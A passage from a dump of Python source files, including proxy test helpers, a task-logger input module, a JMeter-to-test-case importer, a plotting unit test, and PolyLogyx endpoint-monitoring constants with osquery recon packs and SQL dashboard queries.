Iterator[None]:\n thread = threading.Thread(target=self._run)\n thread.start()\n try:\n while not self._started:\n time.sleep(1e-3)\n yield\n finally:\n self._should_exit = True\n thread.join()\n\n\n@contextlib.contextmanager\ndef http_proxy_server(proxy_host: str, proxy_port: int):\n \"\"\"\n This function launches pproxy process like this:\n $ pproxy -b -l http://127.0.0.1:8080\n What does it mean?\n It runs HTTP proxy on 127.0.0.1:8080 and blocks access to some external hosts,\n specified in blocked_hosts_file\n\n Relevant pproxy docs could be found in their github repo:\n https://github.com/qwj/python-proxy\n \"\"\"\n proc = None\n\n with create_proxy_block_file([\"blockedhost.example.com\"]) as block_file_name:\n try:\n command = [\n \"pproxy\",\n \"-b\",\n block_file_name,\n \"-l\",\n f\"http://{proxy_host}:{proxy_port}/\",\n ]\n proc = subprocess.Popen(command)\n\n _wait_can_connect(proxy_host, proxy_port)\n\n yield b\"http\", proxy_host.encode(), proxy_port, b\"/\"\n finally:\n if proc is not None:\n proc.kill()\n\n\n@contextlib.contextmanager\ndef create_proxy_block_file(blocked_domains: List[str]):\n \"\"\"\n The context manager yields pproxy block file.\n This file should contain line delimited hostnames. We use it in the following test:\n test_proxy_socket_does_not_leak_when_the_connection_hasnt_been_added_to_pool\n \"\"\"\n with tempfile.NamedTemporaryFile(delete=True, mode=\"w+\") as file:\n\n for domain in blocked_domains:\n file.write(domain)\n file.write(\"\\n\")\n\n file.flush()\n\n yield file.name\n","sub_path":"tests/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":5314,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"36541152","text":"import os\nfrom datetime import datetime, timedelta\n\nfrom display import clear_screen\n\n\ndef get_user():\n while True:\n try: \n print(\"Employee name\\n\")\n user = input(\"> \")\n if len(user) == 0:\n raise NameError(\"Please enter a valid name.\")\n clear_screen()\n return user\n except NameError as e:\n print(e)\n input(\"\\nPress any key to continue\")\n clear_screen()\n continue\n\ndef get_date():\n \"\"\"Ask the user to add date and return it in a string\"\"\"\n\n while True: \n try: \n print( \"Date of the task\\nPlease use DD/MM/YYYY\\n\")\n\n date = input(\"> \")\n parsed_date = datetime.strptime(date, '%d/%m/%Y')\n formatted_date = parsed_date.strftime('%d/%m/%Y')\n\n clear_screen()\n return formatted_date\n except ValueError:\n print(\"\\n{} doesn't seem to be a valid date and time.\"\n .format(date))\n input(\"\\nPress any key to continue\")\n clear_screen()\n continue\n\ndef get_parsed_date(index):\n \"\"\"Ask the user to add date\n \n :param index: string containing position of range (first or second)\n :return: datetime object\n \"\"\"\n\n while True: \n try:\n if index == 'first': \n print(\"First Date\\nPlease use DD/MM/YYYY\\n\")\n elif index == 'second':\n print(\"Second Date\\nPlease use DD/MM/YYYY\\n\")\n\n date = input(\"> \")\n parsed_date = datetime.strptime(date, '%d/%m/%Y')\n\n clear_screen()\n return parsed_date\n except ValueError:\n print(\"\\n{} doesn't seem to be a valid date and time.\"\n .format(date))\n input(\"\\nPress any key to continue\")\n clear_screen()\n continue\n\ndef get_date_range():\n \"\"\"Ask the user to add 2 dates and return each date between in a list.\"\"\"\n \n date_list = []\n start = get_parsed_date(\"first\")\n end = get_parsed_date(\"second\")\n\n date_array = (start + timedelta(days=x) for x in range(0, (end-start).days))\n\n for date_object in date_array:\n date_list.append(date_object.strftime('%d/%m/%Y'))\n\n return date_list\n\ndef get_title():\n \"\"\"Ask the user to add title and return it in a string\"\"\"\n \n while True:\n try: \n print(\"Title of the task\\n\")\n title = input(\"> \")\n if len(title) == 0:\n raise NameError(\"Please enter a valid title.\")\n clear_screen()\n return title\n except NameError as e:\n print(e)\n input(\"\\nPress any key to continue\")\n clear_screen()\n continue\n \ndef get_time():\n \"\"\"Ask the user to add time spent and return it as an integer\"\"\"\n while True:\n try: \n print(\"Minutes spent on the task (rounded)\\n\")\n\n time_spent = input(\"> \")\n time_spent = int(time_spent) \n\n clear_screen()\n return time_spent\n except ValueError:\n print(\"\\n{} doesn't seem to be a valid number.\"\n .format(time_spent))\n input(\"\\nPress any key to continue\")\n clear_screen()\n continue\n\ndef get_notes():\n \"\"\"Ask the user to add notes and return it in a string\"\"\"\n\n while True:\n print(\"Notes (optional)\\n\")\n return input(\"> \")\n\ndef get_keyword():\n \"\"\"Ask the user to add date and return it in a string\"\"\"\n\n while True:\n try: \n print(\"Keyword\\n\")\n keyword = input(\"> \")\n if len(keyword) == 0:\n raise NameError(\"Please enter a valid keyword.\")\n clear_screen()\n return keyword\n except NameError as e:\n print(e)\n input(\"\\nPress any key to continue\")\n clear_screen()\n continue\n","sub_path":"get_inputs.py","file_name":"get_inputs.py","file_ext":"py","file_size_in_byte":3955,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"443936233","text":"#-*-coding:utf-8-*-\nfrom xml.etree import ElementTree as et\nimport sys,requests,json,time,random\nfrom platform import python_version\n\n\npv= python_version()\nif pv.split('.')[0]=='2':\n reload(sys)\n sys.setdefaultencoding(\"utf8\")\n\ndef addCase(projectId,name):\n data = {\"id\":projectId,\"name\":name}\n headers = {'Content-Type': 'application/json'}\n url = 'http://127.0.0.1:5000/api/IAT/addCase'\n res = requests.post(url, headers=headers, data=json.dumps(data))\n response = res.json()\n if response[\"code\"] == 0:\n return response[\"content\"][\"id\"]\n return None\n\ndef addSample(caseId,info):\n data = {\n \"id\": caseId,\n \"info\": info\n }\n headers = {'Content-Type': 'application/json'}\n url = 'http://127.0.0.1:5000/api/IAT/updateSample'\n res = requests.post(url, headers=headers, data=json.dumps(data))\n try:\n response = res.json()\n print(response[\"msg\"])\n except Exception as e:\n print(e)\n print(\"数据异常:\",data)\n\ndef runbuild(userId,projectId,fileName):\n root=et.parse(fileName)\n for each in root.getiterator(\"HTTPSamplerProxy\"):\n path = ''\n method = ''\n testname = each.attrib['testname']\n params = []\n paramType = 1\n for childNode in each.getchildren():\n if childNode.tag == 'elementProp':\n for paramsContainerNode in childNode.getchildren():\n for paramsNode in paramsContainerNode.getchildren():\n key = ''\n value = ''\n for paramsNodeChildren in paramsNode.getchildren():\n if paramsNodeChildren.attrib['name'] == 'Argument.name':\n key = paramsNodeChildren.text\n if paramsNodeChildren.attrib['name'] == 'Argument.value':\n value = paramsNodeChildren.text\n\n params.append({\n \"id\":int(round(time.time() * 1000))+random.randint(1, 20),\n \"key\":key,\n \"value\":value,\n \"type\": False,\n })\n if childNode.attrib['name'] == 'HTTPSampler.path':\n path = childNode.text\n if childNode.attrib['name'] == 'HTTPSampler.method':\n method = childNode.text\n if childNode.attrib['name'] == 'HTTPSampler.DO_MULTIPART_POST':\n if childNode.text == 'true':\n paramType = 3\n info = {\n \"asserts\": {\n \"assertData\": [{\n \"id\": int(round(time.time() * 1000)),\n \"value\": \"\\\"code\\\":0\"\n }],\n \"assertsType\": 1\n },\n \"extract\": {\n \"extractData\": [],\n \"extractType\": 0\n },\n \"method\": method,\n \"name\": testname,\n \"params\": params,\n \"paramType\": paramType,\n \"path\": path,\n \"user_id\": userId,\n \"preShellType\": 0,\n \"preShellData\": \"\",\n \"postShellType\": 0,\n \"postShellData\": \"\",\n }\n caseId = addCase(projectId, testname)\n if caseId:\n addSample(caseId, info)\n\n # print testname\n # print method\n # print paramType\n # print path\n # print params\n # print \"===============\"\n\nif \"__main__\" == __name__:\n # fileName = 'testData.jmx'\n # projectId = 66\n # userId = 44\n userId = sys.argv[1]\n projectId = sys.argv[2]\n fileName = sys.argv[3]\n runbuild(userId,projectId,fileName)\n","sub_path":"server/runAutoBuildFromJmx.py","file_name":"runAutoBuildFromJmx.py","file_ext":"py","file_size_in_byte":3167,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"615573792","text":"import unittest\n\nfrom mock import MagicMock\n\nfrom ga.plot import ScoresPlot\n\n\nclass TestPlotter(unittest.TestCase):\n\n def setUp(self):\n self.extractor = MagicMock()\n self.plt = ScoresPlot(extractor=self.extractor)\n\n def test_save_data__lowest_3_vals_saved(self):\n raw_data = [81, 1, 6, 7, 4, 12, 43]\n relevant_data_len = 3\n self.plt.save_relevant_data(raw_data, relevant_data_len,\n pick_lowest=True)\n self.extractor.extract_tuple.assert_called_once_with([1, 4, 6])\n","sub_path":"zad_01/tests/ga/test_plot.py","file_name":"test_plot.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"91"} +{"seq_id":"575794144","text":"import os\nimport datetime as dt\nfrom flask import json\nfrom binascii import b2a_hex\n\n\nSERVER_URL = \"\"\nTO_CAPTURE_COLUMNS = [\"md5\"]\nIOC_COLUMNS = [\"md5\", \"sha1\", \"sha256\", \"domain_name\", \"remote_address\", \"url\"]\nDEFAULT_PLATFORMS=['windows','linux','darwin','freebsd']\nclients = {}\nwebsockets = {}\npublic_server = False\nsocketio = None\n\n\nclass PolyReconPackData:\n linux_recon_enabled = True\n windows_recon_enabled = True\n darwin_recon_enabled = True\n polylogyx_recon_pack_windows = {\n \"packs\": {\"polylogyx_recon_pack_windows\": {\"platform\": \"windows\", \"version\": \"2.9.0\",\n \"queries\": {\"system_info\": {\n \"query\": \"select * from system_info;\",\n \"interval\": 86400, \"platform\": \"windows\",\n \"version\": \"2.9.0\",\n \"description\": \"System info\",\n \"value\": \"System info\",\n \"snapshot\": True}, \"os_version\": {\n \"query\": \"select * from os_version;\",\n \"interval\": 86400, \"platform\": \"windows\",\n \"version\": \"2.9.0\",\n \"description\": \"Os details\",\n \"value\": \"Os details\", \"snapshot\": True},\n \"interface_details\": {\n \"query\": \"select ia.interface, address, mac,ibytes, obytes from interface_details id join interface_addresses ia on ia.interface = id.interface where length(mac) > 0 and mac!='00:00:00:00:00:00' order by (ibytes + obytes) desc;\",\n \"interval\": 86400,\n \"platform\": \"windows\",\n \"version\": \"2.9.0\",\n \"description\": \"Mac address info\",\n \"value\": \"Mac address info\",\n \"snapshot\": True},\n \"win_epp_table\": {\n \"query\": \"select * from win_epp_table;\",\n \"interval\": 86400,\n \"platform\": \"windows\",\n \"version\": \"2.9.0\",\n \"description\": \"Endpoint Status \",\n \"value\": \"Endpoint Status\",\n \"snapshot\": True}, \"time\": {\n \"query\": \"select unix_time, timestamp from time;\",\n \"interval\": 86400,\n \"platform\": \"windows\",\n \"version\": \"2.9.0\",\n \"description\": \"Current time of system\",\n \"value\": \"Current time of system\",\n \"snapshot\": True}, \"certificates\": {\n \"query\": \"select common_name, issuer, self_signed, not_valid_after, path from certificates;\",\n \"interval\": 86400,\n \"platform\": \"windows\",\n \"version\": \"2.9.0\",\n \"description\": \"Installed certificates info\",\n \"value\": \"Installed certificates info\",\n \"snapshot\": True}, \"etc_hosts\": {\n \"query\": \"select * from etc_hosts;\",\n \"interval\": 86400,\n \"platform\": \"windows\",\n \"version\": \"2.9.0\",\n \"description\": \"Etc hosts\",\n \"value\": \"Etc hosts\",\n \"snapshot\": True}, \"patches\": {\n \"query\": \"select hotfix_id, description, installed_on from patches;\",\n \"interval\": 86400,\n \"platform\": \"windows\",\n \"version\": \"2.9.0\",\n \"description\": \"Installed patches\",\n \"value\": \"Installed patches\",\n \"snapshot\": True},\n \"kva_speculative_info\": {\n \"query\": \"select * from kva_speculative_info;\",\n \"interval\": 86400,\n \"platform\": \"windows\",\n \"version\": \"2.9.0\",\n \"snapshot\": True},\n \"kernel_info\": {\n \"query\": \"select path, version, arguments from kernel_info;\",\n \"interval\": 86400,\n \"platform\": \"windows\",\n \"version\": \"2.9.0\",\n \"description\": \"Kernel Info\",\n \"value\": \"Kernel Info\",\n \"snapshot\": True},\n \"startup_items\": {\n \"query\": \"select name, path, status from win_startup_items;\",\n \"interval\": 86400,\n \"platform\": \"windows\",\n \"version\": \"2.9.0\",\n \"description\": \"Startup Items\",\n \"value\": \"Startup Items\",\n \"snapshot\": True},\n \"chrome_extensions\": {\n \"query\": \"select identifier, version, description, path from chrome_extensions;\",\n \"interval\": 86400,\n \"platform\": \"windows\",\n \"version\": \"2.9.0\",\n \"description\": \"Chrome Extensions\",\n \"value\": \"Chrome Extensions\"},\n \"scheduled_tasks\": {\n \"query\": \"select path, hidden, next_run_time, last_run_message from scheduled_tasks;\",\n \"interval\": 86400,\n \"platform\": \"windows\",\n \"version\": \"2.9.0\",\n \"description\": \"Scheduled Tasks\",\n \"value\": \"Scheduled Tasks\",\n \"snapshot\": True},\n \"win_programs\": {\n \"query\": \"select name, version from win_programs;\",\n \"interval\": 86400,\n \"platform\": \"windows\",\n \"version\": \"2.9.0\",\n \"description\": \"Programs Installed\",\n \"value\": \"Programs Installed\"},\n \"firefox_addons\": {\n \"query\": \"select identifier, version, description, path from firefox_addons;\",\n \"interval\": 86400,\n \"platform\": \"windows\",\n \"version\": \"2.9.0\",\n \"description\": \"Firefox adding\",\n \"value\": \"Etc hosts\",\n \"snapshot\": True},\n \"win_services\": {\n \"query\": \"select ws.module_path,ws.path, case IfNull (ws.module_path , '') when '' then (select wh.sha1 from win_hash wh where wh.path=ws.path limit 1 ) else (select wh.sha1 from win_hash wh where wh.path=ws.module_path limit 1) end as sha1 from win_services ws;\",\n \"interval\": 86400,\n \"platform\": \"windows\",\n \"version\": \"2.9.0\",\n \"description\": \"Windows services\",\n \"value\": \"Windows services\",\n \"snapshot\": True},\n \"appcompat_shims\": {\n \"query\": \"select ach.*,(select sha1 from win_hash wh where wh.path=ach.path limit 1 ) as sha1 from appcompat_shims ach;\",\n \"interval\": 86400,\n \"platform\": \"windows\",\n \"version\": \"2.9.0\",\n \"description\": \"\",\n \"value\": \"\",\n \"snapshot\": True},\n \"ie_extensions\": {\n \"query\": \"select iee.path,iee.name,iee.version,(select sha1 from win_hash wh where wh.path=iee.path limit 1 ) as sha1 from ie_extensions iee;\",\n \"interval\": 86400,\n \"platform\": \"windows\",\n \"version\": \"2.9.0\",\n \"description\": \"Internet Explorer extensions installed\",\n \"value\": \"Internet Explorer extensions installed\",\n \"snapshot\": True},\n \"drivers\": {\n \"query\": \"select d.image, d.provider, d.signed,(select sha1 from win_hash wh where wh.path=d.image limit 1 ) as sha1 from drivers d where d.provider not like '%Microsoft%' and d.image!='';\",\n \"interval\": 86400,\n \"platform\": \"windows\",\n \"version\": \"2.9.0\",\n \"description\": \"Drivers installed\",\n \"value\": \"Drivers installed\",\n \"snapshot\": True}}}}}\n polylogyx_recon_pack_linux = {\"packs\": {\"polylogyx_recon_pack_linux\": {\"platform\": \"linux\", \"version\": \"1.5.2\",\n \"queries\": {\"system_info\": {\n \"query\": \"select * from system_info;\",\n \"interval\": 86400, \"platform\": \"linux\",\n \"version\": \"2.9.0\",\n \"description\": \"System info\",\n \"value\": \"System info\",\n \"snapshot\": True},\n \"os_version\": {\n \"query\": \"select * from os_version;\",\n \"interval\": 86400,\n \"platform\": \"linux\",\n \"version\": \"2.9.0\",\n \"description\": \"Os details\",\n \"value\": \"Os details\",\n \"snapshot\": True},\n \"interface_details\": {\n \"query\": \"select ia.interface, address, mac,ibytes, obytes from interface_details id join interface_addresses ia on ia.interface = id.interface where length(mac) > 0 and mac!='00:00:00:00:00:00' order by (ibytes + obytes) desc;\",\n \"interval\": 86400,\n \"platform\": \"linux\",\n \"version\": \"2.9.0\",\n \"description\": \"Mac address info\",\n \"value\": \"Mac address info\",\n \"snapshot\": True}, \"time\": {\n \"query\": \"select unix_time, timestamp from time;\",\n \"interval\": 86400,\n \"platform\": \"linux\",\n \"version\": \"2.9.0\",\n \"description\": \"Current time of system\",\n \"value\": \"Current time of system\",\n \"snapshot\": True}, \"etc_hosts\": {\n \"query\": \"select * from etc_hosts;\",\n \"interval\": 86400,\n \"platform\": \"linux\",\n \"version\": \"2.9.0\",\n \"description\": \"Etc hosts\",\n \"value\": \"Etc hosts\",\n \"snapshot\": True},\n \"kernel_info\": {\n \"query\": \"select path, version, arguments from kernel_info;\",\n \"interval\": 86400,\n \"platform\": \"linux\",\n \"version\": \"2.9.0\",\n \"description\": \"Kernel Info\",\n \"value\": \"Kernel Info\",\n \"snapshot\": True},\n \"chrome_extensions\": {\n \"query\": \"select identifier, version, description, path from chrome_extensions;\",\n \"interval\": 86400,\n \"platform\": \"linux\",\n \"version\": \"2.9.0\",\n \"description\": \"Chrome Extensions\",\n \"value\": \"Chrome Extensions\",\n \"snapshot\": True},\n \"firefox_addons\": {\n \"query\": \"select identifier, version, description, path from firefox_addons;\",\n \"interval\": 86400,\n \"platform\": \"linux\",\n \"version\": \"2.9.0\",\n \"description\": \"Firefox adding\",\n \"value\": \"Etc hosts\",\n \"snapshot\": True},\n \"deb_packages\": {\n \"query\": \"select * from deb_packages;\",\n \"interval\": 86400,\n \"platform\": \"linux\",\n \"version\": \"2.9.0\",\n \"description\": \"Debian Packages Installed\",\n \"value\": \"Debian Packages Installed\",\n \"snapshot\": True},\n \"rpm_packages\": {\n \"query\": \"select * from rpm_packages;\",\n \"interval\": 86400,\n \"platform\": \"linux\",\n \"version\": \"2.9.0\",\n \"description\": \"Packages Installed\",\n \"value\": \"Packages Installed\",\n \"snapshot\": True}}}}}\n polylogyx_recon_pack_darwin = {\"packs\": {\"polylogyx_recon_pack_darwin\": {\"platform\": \"darwin\", \"queries\": {\n \"system_info\": {\"query\": \"select * from system_info;\", \"interval\": 120, \"platform\": \"darwin\",\n \"version\": \"2.9.0\",\n \"description\": \"System info\", \"value\": \"System info\", \"snapshot\": True},\n \"os_version\": {\"query\": \"select * from os_version;\", \"interval\": 86400, \"platform\": \"darwin\",\n \"version\": \"2.9.0\",\n \"description\": \"Os details\", \"value\": \"Os details\", \"snapshot\": True}, \"interface_details\": {\n \"query\": \"select ia.interface, address, mac,ibytes, obytes from interface_details id join interface_addresses ia on ia.interface = id.interface where length(mac) > 0 and mac!='00:00:00:00:00:00' order by (ibytes + obytes) desc;\",\n \"interval\": 86400, \"platform\": \"darwin\", \"version\": \"2.9.0\", \"description\": \"Mac address info\",\n \"value\": \"Mac address info\", \"snapshot\": True},\n \"time\": {\"query\": \"select unix_time, timestamp from time;\", \"interval\": 86400, \"platform\": \"darwin\",\n \"version\": \"2.9.0\", \"description\": \"Current time of system\", \"value\": \"Current time of system\",\n \"snapshot\": True},\n \"etc_hosts\": {\"query\": \"select * from etc_hosts;\", \"interval\": 86400, \"platform\": \"darwin\", \"version\": \"2.9.0\",\n \"description\": \"Etc hosts\", \"value\": \"Etc hosts\", \"snapshot\": True},\n \"kernel_info\": {\"query\": \"select path, version, arguments from kernel_info;\", \"interval\": 86400,\n \"platform\": \"darwin\", \"version\": \"2.9.0\", \"description\": \"Kernel Info\", \"value\": \"Kernel Info\",\n \"snapshot\": True},\n \"chrome_extensions\": {\"query\": \"select identifier, version, description, path from chrome_extensions;\",\n \"interval\": 86400, \"platform\": \"darwin\", \"version\": \"2.9.0\",\n \"description\": \"Chrome Extensions\", \"value\": \"Chrome Extensions\", \"snapshot\": True},\n \"firefox_addons\": {\"query\": \"select identifier, version, description, path from firefox_addons;\",\n \"interval\": 86400,\n \"platform\": \"darwin\", \"version\": \"2.9.0\", \"description\": \"Firefox adding\",\n \"value\": \"Etc hosts\",\n \"snapshot\": True},\n \"certificates\": {\"query\": \"select common_name, issuer, self_signed, not_valid_after, path from certificates;\",\n \"interval\": 86400, \"platform\": \"darwin\", \"version\": \"2.9.0\",\n \"description\": \"Installed certificates info\", \"value\": \"Installed certificates info\",\n \"snapshot\": True},\n \"startup_items\": {\"query\": \"select name, path, status from win_startup_items;\", \"interval\": 86400,\n \"platform\": \"darwin\", \"version\": \"2.9.0\", \"description\": \"Startup Items\",\n \"value\": \"Startup Items\", \"snapshot\": True}}}}}\n\n\nclass PolyLogyxConstants:\n DEFAULT_OPTIONS = {\n \"custom_plgx_EnableLogging\": \"true\",\n \"custom_plgx_EnableSSL\": \"true\",\n \"custom_plgx_LogFileName\": \"C:\\\\Program Files\\\\plgx_osquery\\\\plgx-win-extension.log\",\n \"custom_plgx_LogLevel\": \"3\",\n \"custom_plgx_LogModeQuiet\": \"0\",\n \"custom_plgx_EnableWatcher\": \"true\",\n \"custom_plgx_MemoryLimit\": \"150\",\n \"schedule_splay_percent\": 10,\n \"custom_plgx_LogFileNameLinux\": \"/tmp/plgx-agent.log\",\n }\n\n\nclass PolyLogyxServerDefaults:\n plgx_config_all_options = \"plgx_config_all_options\"\n plgx_config_all_settings = \"plgx_config_all_settings\"\n default_type = \"default\"\n current_ip = 'https://localhost:9000'\n BASE_URL = \"/src/plgx-esp\"\n POLYLOGYX_OSQUERY_SCHEMA_JSON = {}\n RECON_INTERVAL = 30\n\n\nclass QueryConstants:\n UNSIGNED_JSON = {\"sign_info\": \"Unsigned\"}\n PRODUCT_STATE_QUERY = '''SELECT product_type AS product_type,product_state AS product_state,SUM(sum__count) AS product_count\n FROM(SELECT product_type AS product_type, product_state AS product_state,sum(count) AS sum__count\n FROM (SELECT jsonb_array_elements(data)->>'product_type' as product_type,jsonb_array_elements(data)->>'product_state' as product_state,COUNT(jsonb_array_elements(data)->>'product_state') as count FROM node_data where name='win_epp_table' and data::TEXT !='\"\"'::TEXT and data::TEXT !='[]'::TEXT group by product_type,product_state order by count DESC) AS expr_qry GROUP BY product_type, product_state ORDER BY sum__count DESC LIMIT 10000) AS expr_qry GROUP BY product_type, product_state ORDER BY product_count DESC LIMIT 10000;'''\n PRODUCT_SIGNATURES_QUERY = '''SELECT product_type AS product_type,product_signatures AS product_signatures,SUM(sum__count) AS product_count FROM(SELECT product_type AS product_type, product_signatures AS product_signatures,sum(count) AS sum__count FROM (SELECT jsonb_array_elements(data)->>'product_type' as product_type,jsonb_array_elements(data)->>'product_signatures' as product_signatures,COUNT(jsonb_array_elements(data)->>'product_signatures') as count FROM node_data where name='win_epp_table' and data::TEXT !='\"\"'::TEXT and data::TEXT !='[]'::TEXT group by product_type,product_signatures order by count DESC) AS expr_qry GROUP BY product_type, product_signatures ORDER BY sum__count DESC LIMIT 10000) AS expr_qry GROUP BY product_type, product_signatures ORDER BY product_count DESC LIMIT 10000;'''\n\n\nclass EventQueries:\n TOTAL_FILE_EVENTS = \"select count(*) from result_log where name like '%win_file_events%';\"\n TOTAL_FILE_EVENTS_LINUX = \"select count(*) from result_log where name like '%file_events%' and name not like '%win_file_events%' and name not like '%win_pefile_events%';\"\n TOTAL_SOCKET_EVENTS_LINUX = \"select count(*) from result_log where name like '%socket_events%' and name not like '%win_socket_events%';\"\n\n\nclass UtilQueries:\n TOP_FIVE_PROGRAM = \"select columns ->> 'path' as path,count(columns ->> 'path' ) as count from result_log where name like 'win_process_events' and columns ->> 'action'='PROC_CREATE' group by path order by count desc limit 5;\"\n BOTTOM_FIVE_PROGRAM = \"select columns ->> 'path' as path,count(columns ->> 'path' ) as count from result_log where name like 'win_process_events' and columns ->> 'action'='PROC_CREATE' group by path order by count limit 5;\"\n TOP_FIVE_PORTS_LINUX = \"SELECT columns->>'remote_port' as path, COUNT(columns->>'remote_port') as count FROM result_log WHERE name like '%socket_events%' and name not like '%win_socket_events%' GROUP BY path ORDER BY count DESC LIMIT 5;\"\n TOP_FIVE_IPS_LINUX = \"SELECT columns->>'remote_address' as path, COUNT(columns->>'remote_address') as count FROM result_log WHERE name like '%socket_events%' and name not like '%win_socket_events%' GROUP BY path ORDER BY count DESC LIMIT 5;\"\n TOP_FIVE_PROGRAM_LINUX = \"select columns ->> 'path' as path,count(columns ->> 'path' ) as count from result_log where name like '%process_events%' and name not like '%win_process_events%' group by path order by count desc limit 5;\"\n BOTTOM_FIVE_PROGRAM_LINUX = \"select columns ->> 'path' as path,count(columns ->> 'path' ) as count from result_log where name like '%process_events%' and name not like '%win_process_events%' group by path order by count ASC limit 5;\"\n ALERT_RECON_QUERIES_JSON = {\n \"scheduled_queries\": [\n {\n \"name\": \"win_file_events\",\n \"before_event_interval\": 30,\n \"after_event_interval\": 60\n },\n {\n \"name\": \"win_process_events\",\n \"before_event_interval\": 30,\n \"after_event_interval\": 60\n }, {\n \"name\": \"win_registry_events\",\n \"before_event_interval\": 30,\n \"after_event_interval\": 60\n }, {\n \"name\": \"win_socket_events\",\n \"before_event_interval\": 30,\n \"after_event_interval\": 60\n }, {\n \"name\": \"win_http_events\",\n \"before_event_interval\": 30,\n \"after_event_interval\": 60\n }\n ],\n \"live_queries\": [\n {\n \"name\": \"win_epp_table\",\n \"query\": \"select * from win_epp_table;\"\n }\n ]\n}\n UNSIGNED_JSON = {\"sign_info\": \"Unsigned\"}\n UNSIGNED_BINARY = \"SELECT count(*) FROM result_log WHERE name like '%win_image_load_events%' and columns @> '\" + json.dumps(UNSIGNED_JSON) + \"'; \"\n ETC_HOSTS_QUERY = \"SELECT count(*) AS count FROM (SELECT jsonb_array_elements(data)->>'hostnames' as hostnames FROM node_data left join node n on n.id=node_id WHERE name = 'etc_hosts' and platform = 'windows' and data::TEXT !='\\\"\\\"'::TEXT and data::TEXT !='[]'::TEXT LIMIT 1000000) AS expr_qry ;\"\n ETC_HOSTS_LINUX_QUERY = \"SELECT count(*) AS count FROM (SELECT jsonb_array_elements(data)->>'hostnames' as hostnames FROM node_data left join node n on n.id=node_id WHERE name = 'etc_hosts' and platform not in ('windows','darwin') and data::TEXT !='\\\"\\\"'::TEXT and data::TEXT !='[]'::TEXT LIMIT 1000000) AS expr_qry ;\"\n\n\nclass KernelQueries:\n MAC_ADDRESS_QUERY = \"select address, mask, mac, description,manufacturer,connection_id,connection_status,enabled from interface_details id join interface_addresses ia on ia.interface = id.interface where length(mac) > 0 order by (ibytes + obytes) desc;\"\n KERNEL_VERSION_LINUX_QUERY = '''SELECT jsonb_array_elements(data)->>'version' as version,COUNT(jsonb_array_elements(data)->>'version') as count FROM node_data left join node n on n.id=node_id WHERE name='kernel_info' and platform not in ('windows','darwin') and data::TEXT !='\"\"'::TEXT and data::TEXT !='[]'::TEXT GROUP BY version ORDER BY count DESC LIMIT 1000000;'''\n RMP_DEB_PACKAGES = \"SELECT count(*) AS count FROM (SELECT jsonb_array_elements(data)->>'name' as package_name FROM node_data WHERE name in ('rpm_packages','deb_packages') and data::TEXT !='\\\"\\\"'::TEXT and data::TEXT !='[]'::TEXT LIMIT 1000000) AS expr_qry ;\"\n KERNEL_VERSION_QUERY = '''SELECT jsonb_array_elements(data)->>'version' as version,COUNT(jsonb_array_elements(data)->>'version') as count FROM node_data left join node n on n.id=node_id WHERE name='kernel_info' and platform = 'windows' and data::TEXT !='\"\"'::TEXT and data::TEXT !='[]'::TEXT GROUP BY version ORDER BY count DESC LIMIT 1000000;'''\n CHROME_IE_EXTENSIONS_QUERY = \"SELECT name AS name, count(*) AS count FROM (SELECT jsonb_array_elements(data)->>'path' as path, name FROM node_data WHERE name in ('chrome_extensions', 'ie_extensions') and data::TEXT !='\\\"\\\"'::TEXT and data::TEXT !='[]'::TEXT LIMIT 1000000) AS expr_qry GROUP BY name ORDER BY count DESC LIMIT 10000;\"\n CHROME_EXTENSIONS_QUERY = \"SELECT name AS name, count(*) AS count FROM (SELECT jsonb_array_elements(data)->>'path' as path, name FROM node_data WHERE name in ('chrome_extensions') and data::TEXT !='\\\"\\\"'::TEXT and data::TEXT !='[]'::TEXT LIMIT 1000000) AS expr_qry GROUP BY name ORDER BY count DESC LIMIT 10000;\"\n CHROME_FIREFOX_EXTENSIONS_QUERY = \"SELECT name AS name, count(*) AS count FROM (SELECT jsonb_array_elements(data)->>'path' as path, name FROM node_data left join node n on n.id=node_id WHERE name in ('chrome_extensions', 'firefox_addons') and data::TEXT !='\\\"\\\"'::TEXT and platform not in ('windows','darwin') and data::TEXT !='[]'::TEXT LIMIT 1000000) AS expr_qry GROUP BY name ORDER BY count DESC LIMIT 10000;\"\n\n\nclass PlugInQueries:\n VIRUS_TOTAL_QUERY = \"SELECT count(*) FROM virus_total WHERE detections > 0;\"\n IBM_THREAT_INTEL_QUERY = \"select count(*) from ibm_force_exchange ;\"\n\n\nclass SystemInfoQueries:\n SYSTEM_STATE_QUERIES = [\n 'win_epp_table',\n 'patches',\n 'os_version',\n 'kernel_info',\n 'startup_items',\n 'drivers',\n 'etc_hosts',\n 'osquery_info',\n 'wmi_cli_event_consumers',\n 'wmi_script_event_consumers',\n 'users',\n 'uptime',\n 'certificates',\n 'chrome_extensions',\n 'ie_extensions',\n 'scheduled_tasks',\n 'appcompat_shims',\n 'powershell_events_script_blocks'\n ]\n SYSTEM_EVENT_QUERIES = [\n 'win_file_events',\n 'win_process_events',\n 'win_process_open_events',\n 'win_remote_thread_events',\n 'win_pe_file_events',\n 'win_removable_media_events',\n 'win_http_events',\n 'win_socket_events',\n 'win_image_load_events',\n 'win_dns_events',\n 'win_dns_response_events',\n 'win_registry_events',\n 'win_ssl_events'\n ]\n\n\nclass DefaultInfoQueries:\n DEFAULT_QUERIES = {\n \"system_info\": \"select * from system_info;\", \"os_version\": \"select * from os_version;\",\n \"interface_details\": KernelQueries.MAC_ADDRESS_QUERY\n}\n DEFAULT_INFO_QUERIES_FREEBSD = {\n \"time\": \"select unix_time, timestamp from time;\",\n \"etc_hosts\": \"select * from etc_hosts;\"\n}\n DEFAULT_INFO_QUERIES = {\n \"win_epp_table\": \"select * from win_epp_table;\",\n \"time\": \"select unix_time, timestamp from time;\",\n \"certificates\": \"select common_name, issuer, self_signed, not_valid_after, path from certificates;\",\n \"etc_hosts\": \"select * from etc_hosts;\",\n \"patches\": \"select hotfix_id, description, installed_on from patches;\",\n \"kva_speculative_info\": \"select * from kva_speculative_info;\",\n \"kernel_info\": \"select path, version, arguments from kernel_info;\",\n \"startup_items\": \"select name, path, status from win_startup_items;\",\n \"chrome_extensions\": \"select identifier, version, description, path from chrome_extensions;\",\n \"scheduled_tasks\": \"select path, hidden, next_run_time, last_run_message from 